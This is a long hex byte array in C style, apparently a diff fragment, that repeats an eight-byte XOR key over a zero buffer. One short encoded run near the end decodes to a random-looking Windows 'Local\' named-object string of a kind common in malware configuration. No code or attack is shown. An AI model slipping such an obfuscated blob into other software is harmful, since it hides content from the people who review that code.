0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x35, 0x08, 0x0a, 0x14, 0x0b, 0x39, 0x0c, 0x02, 0x41, 0x14, 0x03, 0x3d, 0x26, 0x2f, 0x34, 0x23, +0x21, 0x0a, 0x22, 0x1f, 0x03, 0x52, 0x13, 0x40, 0x01, 0x2c, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 